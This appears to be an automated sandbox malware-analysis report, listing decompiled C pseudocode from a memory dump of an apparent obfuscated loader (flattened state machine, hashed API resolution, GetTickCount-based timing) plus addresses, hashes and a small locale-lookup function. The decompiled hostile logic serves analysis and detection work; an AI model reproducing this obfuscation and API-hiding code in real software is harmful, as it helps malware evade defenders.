														__eflags = _t266 - 0x10979a6d;
														if(_t266 != 0x10979a6d) {
															goto L52;
														} else {
															_v124 = 0x1f5391db;
															_t345 = E020B5DA0();
															_t346 = E020B5E10();
															__eflags = _t345 - _t346;
															if(_t345 <= _t346) {
																_t483 = 0;
																__eflags = 0;
															} else {
																_t351 = E020B40C0(_t390, 0xbb51e2dc, 0x8ecd1a70, _t498, 0x24);
																_t505 = _t505 + 4;
																_t352 =  *_t351();
																_t353 = E020B5DA0();
																_t483 = _t352 % (_t353 - E020B5E10());
															}
															_t448 = 0xef283af6;
															_t347 = E020B40C0(_t390, 0xbb51e2dc, 0xef283af6, _t498, 6);
															_t505 = _t505 + 4;
															_t348 =  *_t347();
															_t498 = 0xef283af6;
															_t390 = _t348 + E020B5E10() + _t483;
															_t266 = 0xb8518cc;
															asm("adc ebp, 0x0");
															while(1) {
																L1:
																_t469 = _v124;
																while(1) {
																	L2:
																	_t478 = 0x3444dc2f;
																	goto L3;
																}
															}
														}
													}
												}
											}
										} else {
											if(__eflags == 0) {
												_v128 = 0x98c7;
												_v128 = _v128 << 0xe;
												_v128 = _v128 | 0x7f181ffb;
												_t410 = _v128;
												_t448 = 0x3e22cbcf * _t410 >> 0x20;
												_v128 = (_t410 - _t448 >> 1) + _t448 >> 6;
												_v128 = _v128 ^ 0x00080dbe;
												_v32 = _v128;
												_t266 = 0x1ab1f9aa;
												continue;
											} else {
												__eflags = _t266 - 0xd495408;
												if(__eflags > 0) {
													__eflags = _t266 - 0xe6e52c9;
													if(_t266 != 0xe6e52c9) {
														goto L52;
													} else {
														_t268 = E020B8A70();
														__eflags = _t268;
														if(_t268 == 0) {
															goto L148;
														} else {
															_t266 = 0x1f785438;
															continue;
														}
													}
												} else {
													if(__eflags == 0) {
														E020B4180(_t390, _v16);
														_t266 = 0x25639e4;
														continue;
													} else {
														__eflags = _t266 - 0xb8518cc;
														if(_t266 == 0xb8518cc) {
															__eflags = _t390 | _t498;
															if((_t390 | _t498) == 0) {
																L51:
																_t266 = _t469;
																goto L52;
															} else {
																_t363 = E020B5C70();
																_t364 = E020B5C40();
																__eflags = _t364 - _t363;
																if(_t364 <= _t363) {
																	_t448 = 0;
																	__eflags = 0;
																} else {
																	_t369 = E020B40C0(_t390, 0xbb51e2dc, 0x8ecd1a70, _t498, 0x24);
																	_t505 = _t505 + 4;
																	_t370 =  *_t369();
																	_t371 = E020B5C70();
																	_t372 = E020B5C40();
																	_t478 = 0x3444dc2f;
																	_t448 = _t370 % (_t372 - _t371);
																}
																_t366 = E020B9ED0(_t390, _t448 + E020B5C70());
																__eflags = _t366;
																if(_t366 == 0) {
																	_t448 = 0xef283af6;
																	_t367 = E020B40C0(_t390, 0xbb51e2dc, 0xef283af6, _t498, 6);
																	_t505 = _t505 + 4;
																	_t368 =  *_t367();
																	__eflags = 0xef283af6 - _t498;
																	if(__eflags < 0) {
																		goto L23;
																	} else {
																		if(__eflags > 0) {
																			goto L51;
																		} else {
																			__eflags = _t368 - _t390;
																			if(_t368 < _t390) {
																				goto L23;
																			} else {
																				goto L51;
																			}
																		}
																	}
																} else {
																	L47:
																	_t266 = 0xbcf3c3c;
																	continue;
																}
															}
														} else {
															__eflags = _t266 - 0xbcf3c3c;
															if(_t266 != 0xbcf3c3c) {
																goto L52;
															} else {
																return E020BB140();
															}
														}
													}
												}
											}
										}
									} else {
										if(_t508 == 0) {
											E020B8D40();
											_t266 = 0x2f991c1;
											continue;
										} else {
											_t509 = _t266 - 0x4c64487;
											if(_t509 > 0) {
												__eflags = _t266 - 0xa9c2762;
												if(__eflags > 0) {
													__eflags = _t266 - 0xb4fef9c;
													if(_t266 != 0xb4fef9c) {
														goto L52;
													} else {
														E020B4180(_t390, _v96);
														_t266 = 0x2ca10f94;
														continue;
													}
												} else {
													if(__eflags == 0) {
														_t448 =  &_v108;
														_v112 = E020B32B0(0x20bd390, _t448);
														E020B1820( &_v112);
														E020B3400(_t378);
														_t266 = 0x4c64487;
														while(1) {
															L2:
															_t478 = 0x3444dc2f;
															goto L3;
														}
													} else {
														__eflags = _t266 - 0x6f0d463;
														if(_t266 == 0x6f0d463) {
															E020BB090( &_v16, _t448);
															_t266 = 0x18fae292;
															continue;
														} else {
															__eflags = _t266 - 0x9bb6424;
															if(_t266 != 0x9bb6424) {
																goto L52;
															} else {
																_v36 = E020B46D0(_t390, _t498);
																_t266 = 0xe7f2b49;
																continue;
															}
														}
													}
												}
											} else {
												if(_t509 == 0) {
													_t266 = 0x10979a6d;
													continue;
												} else {
													_t510 = _t266 - 0x156ae1b;
													if(_t510 > 0) {
														__eflags = _t266 - 0x25639e4;
														if(_t266 == 0x25639e4) {
															E020B4180(_t390, _v24);
															L23:
															_t266 = 0xb8518cc;
															continue;
														} else {
															__eflags = _t266 - 0x2f991c1;
															if(_t266 != 0x2f991c1) {
																goto L52;
															} else {
																E020B8F10();
																_t266 = 0x10711f6a;
																continue;
															}
														}
													} else {
														if(_t510 == 0) {
															_t385 = E020B8330(_t390, _t498);
															_t406 =  *0x20be368;
															__eflags = _t385;
															if(_t385 == 0) {
																__eflags =  *(_t406 + 0x478);
																_t266 =  !=  ? 0xb7085db : 0x2f991c1;
															} else {
																__eflags =  *(_t406 + 0x478);
																_t266 =  !=  ? _t478 : 0x3078a26e;
															}
															continue;
														} else {
															if(_t266 == 0x463fe4) {
																E020B70B0();
																_t266 = 0x149d998;
																continue;
															} else {
																if(_t266 != 0x149d998) {
																	goto L52;
																} else {
																	_t268 = E020B9700();
																	if(_t268 == 0) {
																		L148:
																		return _t268;
																	} else {
																		_t266 = 0x329a4819;
																		continue;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
								L149:
							}
							__eflags = _t266 - 0x2f4d9938;
							if(__eflags > 0) {
								__eflags = _t266 - 0x3444dc2f;
								if(__eflags > 0) {
									__eflags = _t266 - 0x3a2dc554;
									if(__eflags > 0) {
										__eflags = _t266 - 0x3afae495;
										if(_t266 != 0x3afae495) {
											goto L52;
										} else {
											_t421 =  &_v24;
											E020B6120( &_v24);
											_t266 = 0x6f0d463;
											goto L3;
										}
									} else {
										if(__eflags == 0) {
											_t268 = E020B8C00(_t498);
											goto L148;
										} else {
											__eflags = _t266 - 0x379dadeb;
											if(_t266 == 0x379dadeb) {
												_t487 = 0;
												__eflags = 0;
												while(1) {
													_t270 =  *(_t487 +  *0x20be368);
													__eflags = _t270;
													if(_t270 == 0) {
														break;
													}
													 *_t270();
													_t487 = _t487 + 4;
													__eflags = _t487 - 0x10;
													if(_t487 < 0x10) {
														continue;
													}
													break;
												}
												_t266 = 0x31a2515e;
												goto L2;
											} else {
												__eflags = _t266 - 0x39ca4968;
												if(_t266 != 0x39ca4968) {
													goto L52;
												} else {
													_t448 =  &_v88;
													_t421 =  &_v96;
													_t272 = E020B75D0( &_v96, _t448);
													__eflags = _t272;
													if(_t272 == 0) {
														goto L126;
													} else {
														E020BAEA0(0);
														_t421 = _v80;
														_t266 = 0x379dadeb;
														__eflags = _t421;
														if(_t421 != 0) {
															__eflags = _t421 - 7;
															_t421 = 0x31ac62dd;
															_t266 =  ==  ? 0x31ac62dd : 0x379dadeb;
														}
													}
													goto L3;
												}
											}
										}
									}
								} else {
									if(__eflags == 0) {
										_t274 = E020B9340(_t498);
										asm("sbb eax, eax");
										_t266 = ( ~_t274 & 0x09b522e6) + 0x3078a26e;
										goto L3;
									} else {
										__eflags = _t266 - 0x31ac62dd;
										if(__eflags > 0) {
											__eflags = _t266 - 0x329a4819;
											if(_t266 != 0x329a4819) {
												goto L52;
											} else {
												_t277 = E020B9140();
												asm("sbb eax, eax");
												_t266 = ( ~_t277 & 0x0f1a714f) + 0x156ae1b;
												goto L3;
											}
										} else {
											if(__eflags == 0) {
												return E020B8600(_t421, _t448, _t498);
											} else {
												__eflags = _t266 - 0x3078a26e;
												if(_t266 == 0x3078a26e) {
													E020B9D90(_t390);
													_t282 =  *0x20bdb98; // 0x0
													_t469 = 0x1c4826a5;
													__eflags = _t282;
													if(_t282 == 0) {
														_t284 = E020B3E70(0xbb51e2dc);
														_t448 = 0xef283af6;
														_t421 = _t284;
														_t282 = E020B3DD0(_t390, _t284, 0xef283af6, _t498);
														 *0x20bdb98 = _t282;
													}
													_t390 =  *_t282();
													_t498 = _t448;
													_t266 = 0xb8518cc;
													goto L3;
												} else {
													__eflags = _t266 - 0x31a2515e;
													if(_t266 != 0x31a2515e) {
														goto L52;
													} else {
														_t421 =  &_v88;
														_t285 = E020BB290( &_v88);
														__eflags = _t285;
														if(_t285 != 0) {
															asm("xorps xmm0, xmm0");
															_t469 = 0x3afae495;
															asm("movlpd [esp+0x18], xmm0");
															_t498 = _v120;
															_t390 = _v124;
														}
														L126:
														_t266 = 0xb4fef9c;
														goto L3;
													}
												}
											}
										}
									}
								}
							} else {
								if(__eflags == 0) {
									_v132 = 0x285d;
									_v132 = _v132 | 0xd3e6434c;
									_v132 = _v132 << 9;
									_t448 =  &_v104;
									_v132 = (_v132 - (0x6c16c16d * _v132 >> 0x20) >> 1) + (0x6c16c16d * _v132 >> 0x20) >> 6;
									_v132 = _v132 << 2;
									_v132 = _v132 >> 0xa;
									_v132 = _v132 + 0xbc7d;
									_v132 = _v132 ^ 0x00030325;
									_t421 = _v132;
									_t289 = E020B12B0(_v132, _t448,  &_v96);
									_t505 = _t505 + 4;
									__eflags = _t289;
									if(_t289 == 0) {
										_t428 =  *0x20be35c;
										 *(_t428 + 0x2c) =  &(( *(_t428 + 0x2c))[2]);
										__eflags =  *( *(_t428 + 0x2c));
										if( *( *(_t428 + 0x2c)) == 0) {
											 *(_t428 + 0x2c) =  *(_t428 + 4);
										}
										_v132 = 0x1f6;
										_v132 = _v132 | 0x599f591c;
										_v132 = _v132 ^ 0xadacad2a;
										_v132 = _v132 << 6;
										_v132 = _v132 << 6;
										_v132 = _v132 >> 1;
										_v132 = _v132 ^ 0xf4946442;
										_v132 = _v132 | 0xa1704b68;
										_v132 = _v132 ^ 0xeb72c0ca;
										_v128 = 0x3eed;
										_v128 = _v128 >> 1;
										_v128 = _v128 >> 0x10;
										_v124 = 0x3afae495;
										_v128 = 0x76b981db * _v128 >> 0x20 >> 5;
										_v128 = _v128 | 0xfb31cba7;
										_v128 = _v128 + 0xffff08f2;
										_v128 = _v128 ^ 0xfb30d349;
										__eflags = _v132 - _v128;
										if(_v132 <= _v128) {
											_t476 = 0;
											__eflags = 0;
										} else {
											__eflags =  *0x20bdc10;
											if( *0x20bdc10 == 0) {
												 *0x20bdc10 = E020B3DD0(_t390, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t498);
											}
											_v132 = 0x1f6;
											_v132 = _v132 | 0x599f591c;
											_v132 = _v132 ^ 0xadacad2a;
											_v132 = _v132 << 6;
											_v132 = _v132 << 6;
											_v132 = _v132 >> 1;
											_v132 = _v132 ^ 0xf4946442;
											_v132 = _v132 | 0xa1704b68;
											_v132 = _v132 ^ 0xeb72c0ca;
											_v128 = 0x3eed;
											_v128 = _v128 >> 1;
											_v128 = _v128 >> 0x10;
											_v128 = 0x76b981db * _v128 >> 0x20 >> 5;
											_v128 = _v128 | 0xfb31cba7;
											_v128 = _v128 + 0xffff08f2;
											_v128 = _v128 ^ 0xfb30d349;
											_t476 = GetTickCount() % (_v132 - _v128);
										}
										_t489 =  *0x20bdb98; // 0x0
										__eflags = _t489;
										if(_t489 == 0) {
											_t489 = E020B3DD0(_t390, E020B3E70(0xbb51e2dc), 0xef283af6, _t498);
											 *0x20bdb98 = _t489;
										}
										_v128 = 0x3eed;
										_v128 = _v128 >> 1;
										_v128 = _v128 >> 0x10;
										_t421 = _v128;
										_t448 = 0x76b981db * _v128 >> 0x20 >> 5;
										_v128 = _t448;
										_v128 = _v128 | 0xfb31cba7;
										_v128 = _v128 + 0xffff08f2;
										_v128 = _v128 ^ 0xfb30d349;
										_t297 =  *_t489();
										_t498 = _t448;
										_t390 = _t297 + _v128 + _t476;
										_t266 = 0x2ca10f94;
										asm("adc ebp, 0x0");
										goto L1;
									} else {
										_v132 = 0xe6fe;
										_t469 = 0x3afae495;
										_v132 = _v132 - 0xffffff80;
										_v132 = _v132 + _v132 * 4 + _v132 + _v132 * 4;
										_v132 = _v132 ^ 0x83f82ca2;
										_v132 = _v132 ^ 0x5890ec71;
										_v132 = _v132 | 0x47e0c89a;
										_v132 = _v132 >> 0xd;
										_v132 = _v132 | 0x348c93ef;
										_v132 = _v132 ^ 0x3483444f;
										_v128 = 0x1b06;
										_v128 = _v128 ^ 0x193f7c46;
										_v128 = _v128 ^ 0x19335240;
										__eflags = _v132 - _v128;
										if(_v132 <= _v128) {
											_t494 = 0;
											__eflags = 0;
										} else {
											_t318 =  *0x20bdc10;
											__eflags = _t318;
											if(_t318 == 0) {
												_t318 = E020B3DD0(_t390, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t498);
												 *0x20bdc10 = _t318;
											}
											_v132 = 0xe6fe;
											_v132 = _v132 - 0xffffff80;
											_v132 = _v132 + _v132 * 4 + _v132 + _v132 * 4;
											_v132 = _v132 ^ 0x83f82ca2;
											_v132 = _v132 ^ 0x5890ec71;
											_v132 = _v132 | 0x47e0c89a;
											_v132 = _v132 >> 0xd;
											_v132 = _v132 | 0x348c93ef;
											_v132 = _v132 ^ 0x3483444f;
											_v128 = 0x1b06;
											_v128 = _v128 ^ 0x193f7c46;
											_v128 = _v128 ^ 0x19335240;
											_t319 =  *_t318();
											_t421 = _v128;
											_t448 = _t319 % (_v132 - _v128);
											_t494 = _t448;
										}
										_t313 =  *0x20bdb98; // 0x0
										__eflags = _t313;
										if(_t313 == 0) {
											_t317 = E020B3E70(0xbb51e2dc);
											_t448 = 0xef283af6;
											_t421 = _t317;
											_t313 = E020B3DD0(_t390, _t317, 0xef283af6, _t498);
											 *0x20bdb98 = _t313;
										}
										_v128 = 0x1b06;
										_v128 = _v128 ^ 0x193f7c46;
										_v128 = _v128 ^ 0x19335240;
										_t314 =  *_t313();
										_t498 = _t448;
										_t390 = _t314 + _v128 + _t494;
										_t266 = 0x39ca4968;
										asm("adc ebp, 0x0");
										L2:
										_t478 = 0x3444dc2f;
										goto L3;
									}
								} else {
									__eflags = _t266 - 0x24de5422;
									if(__eflags > 0) {
										__eflags = _t266 - 0x2ca10f94;
										if(__eflags > 0) {
											__eflags = _t266 - 0x2d0c0061;
											if(_t266 != 0x2d0c0061) {
												goto L52;
											} else {
												_t322 =  *0x20bdcd4;
												__eflags = _t322;
												if(_t322 == 0) {
													_t324 = E020B3E70(0xbb51e2dc);
													_t448 = 0x77b672b7;
													_t322 = E020B3DD0(_t390, _t324, 0x77b672b7, _t498);
													 *0x20bdcd4 = _t322;
												}
												_t421 =  *0x20be368;
												 *_t322( *((intOrPtr*)( *0x20be368 + 0x434)), 0xffffffff);
												_t266 = 0x3a2dc554;
												goto L3;
											}
										} else {
											if(__eflags == 0) {
												_t421 = _v104;
												E020B4180(_t390, _v104);
												_t266 = 0xd495408;
												goto L3;
											} else {
												__eflags = _t266 - 0x2815f50d;
												if(_t266 == 0x2815f50d) {
													_v40 = E020B5300(_t390, _t498);
													_t266 = 0x9bb6424;
													goto L3;
												} else {
													__eflags = _t266 - 0x2b1fe9b9;
													if(_t266 != 0x2b1fe9b9) {
														goto L52;
													} else {
														_t266 = 0x24de5422;
														goto L3;
													}
												}
											}
										}
									} else {
										if(__eflags == 0) {
											_t268 = E020B7270(_t390);
											__eflags = _t268;
											if(_t268 == 0) {
												goto L148;
											} else {
												_t266 = 0x463fe4;
												goto L3;
											}
										} else {
											__eflags = _t266 - 0x1f5391db;
											if(__eflags > 0) {
												__eflags = _t266 - 0x1f785438;
												if(_t266 != 0x1f785438) {
													goto L52;
												} else {
													E020B8060();
													__eflags =  *( *0x20be368 + 0x478);
													_t421 = 0x1c512e3c;
													_t266 =  !=  ? 0x1c512e3c : 0x2d0c0061;
													goto L3;
												}
											} else {
												if(__eflags == 0) {
													_t421 =  &_v76;
													_t329 = E020B5FA0( &_v76, _t498);
													__eflags = _t329;
													if(_t329 == 0) {
														goto L47;
													} else {
														_t330 =  &_v76;
														_t448 = 0x7293aefd;
														_t421 = 0xbb51e2dc;
														_v48 = _t330;
														_t331 = E020B40C0(_t390, 0xbb51e2dc, 0x7293aefd, _t498, 0x71);
														_t505 = _t505 + 4;
														_v48 =  *_t331(_t330);
														_t266 = 0x144f93da;
													}
													goto L3;
												} else {
													__eflags = _t266 - 0x1c4826a5;
													if(_t266 == 0x1c4826a5) {
														_t266 = 0xa9c2762;
														goto L3;
													} else {
														__eflags = _t266 - 0x1c512e3c;
														if(_t266 != 0x1c512e3c) {
															goto L52;
														} else {
															E020B8830();
															_t266 = 0x2d0c0061;
															goto L3;
														}
													}
												}
											}
										}
									}
								}
							}
							goto L149;
							L52:
							__eflags = _t266 - 0xa0c59d8;
						} while (_t266 != 0xa0c59d8);
						return _t266;
						goto L149;
					}
				}
			}

0x020b64f6
0x020b64fd
0x020b6501
0x020b6507
0x020b650d
0x020b650d
0x020b650d
0x020b6511
0x020b6511
0x020b6511
0x020b6520
0x020b6520
0x020b6520
0x020b6520
0x020b6525
0x00000000
0x00000000
0x020b652b
0x020b6904
0x020b691a
0x020b691e
0x020b6923
0x020b6930
0x020b6934
0x020b693c
0x020b6941
0x020b6949
0x020b6955
0x020b6959
0x00000000
0x020b6531
0x020b6531
0x020b6536
0x020b66a7
0x020b66ac
0x020b680c
0x020b6811
0x020b68d9
0x020b68de
0x00000000
0x020b68e4
0x020b68e4
0x020b68ec
0x020b68f3
0x020b68fa
0x00000000
0x020b68fa
0x020b6817
0x020b6817
0x020b68c8
0x020b68cf
0x00000000
0x020b681d
0x020b681d
0x020b6822
0x020b68ae
0x020b68b3
0x00000000
0x020b6828
0x020b6828
0x020b682d
0x00000000
0x020b6833
0x020b6838
0x020b683c
0x020b6843
0x020b6848
0x020b684a
0x020b687c
0x020b687c
0x020b684c
0x020b6858
0x020b685d
0x020b6860
0x020b6864
0x020b6878
0x020b6878
0x020b6880
0x020b688a
0x020b688f
0x020b6892
0x020b6896
0x020b689f
0x020b68a1
0x020b68a6
0x020b650d
0x020b650d
0x020b650d
0x020b6511
0x020b6511
0x020b6511
0x00000000
0x020b6516
0x020b6511
0x020b650d
0x020b682d
0x020b6822
0x020b6817
0x020b66b2
0x020b66b2
0x020b67c5
0x020b67d2
0x020b67d7
0x020b67df
0x020b67e3
0x020b67ee
0x020b67f2
0x020b67fe
0x020b6802
0x00000000
0x020b66b8
0x020b66b8
0x020b66bd
0x020b67a7
0x020b67ac
0x00000000
0x020b67ae
0x020b67ae
0x020b67b3
0x020b67b5
0x00000000
0x020b67bb
0x020b67bb
0x00000000
0x020b67bb
0x020b67b5
0x020b66c3
0x020b66c3
0x020b6798
0x020b679d
0x00000000
0x020b66c9
0x020b66c9
0x020b66ce
0x020b66ea
0x020b66ec
0x020b677c
0x020b677c
0x00000000
0x020b66f2
0x020b66f2
0x020b66f9
0x020b66fe
0x020b6700
0x020b6737
0x020b6737
0x020b6702
0x020b670e
0x020b6713
0x020b6716
0x020b671a
0x020b6721
0x020b672c
0x020b6733
0x020b6733
0x020b6741
0x020b6746
0x020b6748
0x020b6756
0x020b6760
0x020b6765
0x020b6768
0x020b676a
0x020b676c
0x00000000
0x020b6772
0x020b6772
0x00000000
0x020b6774
0x020b6774
0x020b6776
0x00000000
0x00000000
0x00000000
0x00000000
0x020b6776
0x020b6772
0x020b674a
0x020b674a
0x020b674a
0x00000000
0x020b674a
0x020b6748
0x020b66d0
0x020b66d0
0x020b66d5
0x00000000
0x020b66db
0x020b66e7
0x020b66e7
0x020b66d5
0x020b66ce
0x020b66c3
0x020b66bd
0x020b66b2
0x020b653c
0x020b653c
0x020b6698
0x020b669d
0x00000000
0x020b6542
0x020b6542
0x020b6547
0x020b6608
0x020b660d
0x020b667a
0x020b667f
0x00000000
0x020b6685
0x020b6689
0x020b668e
0x00000000
0x020b668e
0x020b660f
0x020b660f
0x020b664c
0x020b6660
0x020b6664
0x020b666b
0x020b6670
0x020b6511
0x020b6511
0x020b6511
0x00000000
0x020b6511
0x020b6611
0x020b6611
0x020b6616
0x020b663d
0x020b6642
0x00000000
0x020b6618
0x020b6618
0x020b661d
0x00000000
0x020b6623
0x020b6628
0x020b662c
0x00000000
0x020b662c
0x020b661d
0x020b6616
0x020b660f
0x020b654d
0x020b654d
0x020b65fe
0x00000000
0x020b6553
0x020b6553
0x020b6558
0x020b65ca
0x020b65cf
0x020b65ef
0x020b65f4
0x020b65f4
0x00000000
0x020b65d1
0x020b65d1
0x020b65d6
0x00000000
0x020b65dc
0x020b65dc
0x020b65e1
0x00000000
0x020b65e1
0x020b65d6
0x020b655a
0x020b655a
0x020b658e
0x020b6593
0x020b6599
0x020b659b
0x020b65b1
0x020b65c2
0x020b659d
0x020b659d
0x020b65a9
0x020b65a9
0x00000000
0x020b655c
0x020b6561
0x020b6582
0x020b6587
0x00000000
0x020b6563
0x020b6568
0x00000000
0x020b656e
0x020b656e
0x020b6575
0x020b7000
0x020b7007
0x020b657b
0x020b657b
0x00000000
0x020b657b
0x020b6575
0x020b6568
0x020b6561
0x020b655a
0x020b6558
0x020b654d
0x020b6547
0x020b653c
0x020b6536
0x00000000
0x020b652b
0x020b6963
0x020b6968
0x020b6e74
0x020b6e79
0x020b6f4e
0x020b6f53
0x020b6fd0
0x020b6fd5
0x00000000
0x020b6fdb
0x020b6fdb
0x020b6fdf
0x020b6fe4
0x00000000
0x020b6fe4
0x020b6f55
0x020b6f55
0x020b6ffb
0x00000000
0x020b6f5b
0x020b6f5b
0x020b6f60
0x020b6faa
0x020b6faa
0x020b6fb0
0x020b6fb5
0x020b6fb8
0x020b6fba
0x00000000
0x00000000
0x020b6fbc
0x020b6fbe
0x020b6fc1
0x020b6fc4
0x00000000
0x00000000
0x00000000
0x020b6fc4
0x020b6fc6
0x00000000
0x020b6f62
0x020b6f62
0x020b6f67
0x00000000
0x020b6f6d
0x020b6f6d
0x020b6f71
0x020b6f75
0x020b6f7a
0x020b6f7c
0x00000000
0x020b6f82
0x020b6f84
0x020b6f89
0x020b6f8d
0x020b6f92
0x020b6f94
0x020b6f9a
0x020b6f9d
0x020b6fa2
0x020b6fa2
0x020b6f94
0x00000000
0x020b6f7c
0x020b6f67
0x020b6f60
0x020b6f55
0x020b6e7f
0x020b6e7f
0x020b6f36
0x020b6f3d
0x020b6f44
0x00000000
0x020b6e85
0x020b6e85
0x020b6e8a
0x020b6f13
0x020b6f18
0x00000000
0x020b6f1e
0x020b6f1e
0x020b6f25
0x020b6f2c
0x00000000
0x020b6f2c
0x020b6e90
0x020b6e90
0x020b6ffa
0x020b6e96
0x020b6e96
0x020b6e9b
0x020b6ed5
0x020b6eda
0x020b6edf
0x020b6ee4
0x020b6ee6
0x020b6eed
0x020b6ef2
0x020b6ef7
0x020b6ef9
0x020b6efe
0x020b6efe
0x020b6f05
0x020b6f07
0x020b6f09
0x00000000
0x020b6e9d
0x020b6e9d
0x020b6ea2
0x00000000
0x020b6ea8
0x020b6ea8
0x020b6eac
0x020b6eb1
0x020b6eb3
0x020b6eb5
0x020b6eb8
0x020b6ebd
0x020b6ec3
0x020b6ec7
0x020b6ec7
0x020b6ecb
0x020b6ecb
0x00000000
0x020b6ecb
0x020b6ea2
0x020b6e9b
0x020b6e90
0x020b6e8a
0x020b6e7f
0x020b696e
0x020b696e
0x020b6ad1
0x020b6ade
0x020b6ae6
0x020b6afb
0x020b6b02
0x020b6b06
0x020b6b0b
0x020b6b10
0x020b6b18
0x020b6b20
0x020b6b25
0x020b6b2a
0x020b6b2d
0x020b6b2f
0x020b6c97
0x020b6c9d
0x020b6ca4
0x020b6ca7
0x020b6cac
0x020b6cac
0x020b6caf
0x020b6cbc
0x020b6cc4
0x020b6ccc
0x020b6cd1
0x020b6cd6
0x020b6cda
0x020b6ce2
0x020b6cea
0x020b6cf2
0x020b6cfa
0x020b6cfe
0x020b6d07
0x020b6d15
0x020b6d19
0x020b6d21
0x020b6d29
0x020b6d35
0x020b6d39
0x020b6df4
0x020b6df4
0x020b6d3f
0x020b6d45
0x020b6d47
0x020b6d61
0x020b6d61
0x020b6d67
0x020b6d74
0x020b6d7c
0x020b6d84
0x020b6d89
0x020b6d8e
0x020b6d92
0x020b6d9a
0x020b6da2
0x020b6daa
0x020b6db2
0x020b6db6
0x020b6dc4
0x020b6dc8
0x020b6dd0
0x020b6dd8
0x020b6df0
0x020b6df0
0x020b6df6
0x020b6dfc
0x020b6dfe
0x020b6e16
0x020b6e18
0x020b6e18
0x020b6e1e
0x020b6e2b
0x020b6e2f
0x020b6e34
0x020b6e3a
0x020b6e3d
0x020b6e41
0x020b6e49
0x020b6e51
0x020b6e59
0x020b6e5d
0x020b6e65
0x020b6e67
0x020b6e6c
0x00000000
0x020b6b35
0x020b6b35
0x020b6b3d
0x020b6b42
0x020b6b50
0x020b6b54
0x020b6b5c
0x020b6b64
0x020b6b6c
0x020b6b71
0x020b6b79
0x020b6b81
0x020b6b89
0x020b6b91
0x020b6b9d
0x020b6ba1
0x020b6c3e
0x020b6c3e
0x020b6ba7
0x020b6ba7
0x020b6bac
0x020b6bae
0x020b6bc1
0x020b6bc6
0x020b6bc6
0x020b6bcb
0x020b6bd3
0x020b6be1
0x020b6be5
0x020b6bed
0x020b6bf5
0x020b6bfd
0x020b6c02
0x020b6c0a
0x020b6c12
0x020b6c1a
0x020b6c22
0x020b6c2a
0x020b6c2c
0x020b6c38
0x020b6c3a
0x020b6c3a
0x020b6c40
0x020b6c45
0x020b6c47
0x020b6c4e
0x020b6c53
0x020b6c58
0x020b6c5a
0x020b6c5f
0x020b6c5f
0x020b6c64
0x020b6c6c
0x020b6c74
0x020b6c7c
0x020b6c80
0x020b6c88
0x020b6c8a
0x020b6c8f
0x020b6511
0x020b6511
0x00000000
0x020b6516
0x020b6974
0x020b6974
0x020b6979
0x020b6a3d
0x020b6a42
0x020b6a88
0x020b6a8d
0x00000000
0x020b6a93
0x020b6a93
0x020b6a98
0x020b6a9a
0x020b6aa1
0x020b6aa6
0x020b6aad
0x020b6ab2
0x020b6ab2
0x020b6ab7
0x020b6ac5
0x020b6ac7
0x00000000
0x020b6ac7
0x020b6a44
0x020b6a44
0x020b6a75
0x020b6a79
0x020b6a7e
0x00000000
0x020b6a46
0x020b6a46
0x020b6a4b
0x020b6a67
0x020b6a6b
0x00000000
0x020b6a4d
0x020b6a4d
0x020b6a52
0x00000000
0x020b6a58
0x020b6a58
0x00000000
0x020b6a58
0x020b6a52
0x020b6a4b
0x020b6a44
0x020b697f
0x020b697f
0x020b6a26
0x020b6a2b
0x020b6a2d
0x00000000
0x020b6a33
0x020b6a33
0x00000000
0x020b6a33
0x020b6985
0x020b6985
0x020b698a
0x020b69f7
0x020b69fc
0x00000000
0x020b6a02
0x020b6a02
0x020b6a12
0x020b6a19
0x020b6a1e
0x00000000
0x020b6a1e
0x020b698c
0x020b698c
0x020b69b9
0x020b69bd
0x020b69c2
0x020b69c4
0x00000000
0x020b69ca
0x020b69ca
0x020b69ce
0x020b69d6
0x020b69db
0x020b69df
0x020b69e4
0x020b69e9
0x020b69ed
0x020b69ed
0x00000000
0x020b698e
0x020b698e
0x020b6993
0x020b69af
0x00000000
0x020b6995
0x020b6995
0x020b699a
0x00000000
0x020b69a0
0x020b69a0
0x020b69a5
0x00000000
0x020b69a5
0x020b699a
0x020b6993
0x020b698c
0x020b698a
0x020b697f
0x020b6979
0x020b696e
0x00000000
0x020b677e
0x020b677e
0x020b677e
0x020b6790
0x00000000
0x020b6790
0x020b6511

APIs

GetTickCount.KERNEL32 ref: 020B6DE0

Strings

?F, xrefs: 020B6A33
](, xrefs: 020B6AD1
>, xrefs: 020B6E1E
?F, xrefs: 020B655C

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: ]($>$?F$?F
API String ID: 536389180-2428406117
Opcode ID: 2e291f299f49d680e97378266013ca839c7d507f70c3ea71eb1b07defe114652
Instruction ID: 28c97bfc9505b2f627c56637d5da62200189dcfaf110d3e62e3d76d932cee21d
Opcode Fuzzy Hash: 2e291f299f49d680e97378266013ca839c7d507f70c3ea71eb1b07defe114652
Instruction Fuzzy Hash: 3942E2716093028BC77BDE6894541EFBAEAAF80704F144D2EE552DB250EB72CD14DB93

Uniqueness

Uniqueness Score: -1.00%

Function 0041989E, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041989E(short _a4, intOrPtr _a8) {
				short _t13;
				short _t28;

				_t28 = _a4;
				if(_t28 != 0 &&  *_t28 != 0 && E00418AEC(_t28, ?str?) != 0) {
					if(E00418AEC(_t28, ?str?) != 0) {
						return E0041CFA6(_t28);
					}
					if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_a4, 2) == 0) {
						L9:
						return 0;
					}
					return _a4;
				}
				if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_a4, 2) == 0) {
					goto L9;
				}
				_t13 = _a4;
				if(_t13 == 0) {
					return GetACP();
				}
				return _t13;
			}

0x004198a2
0x004198a7
0x004198cf
0x00000000
0x004198f8
0x004198ea
0x00419916
0x00000000
0x00419916
0x00000000
0x004198ec
0x00419914
0x00000000
0x00000000
0x0041991a
0x0041991f
0x00419923
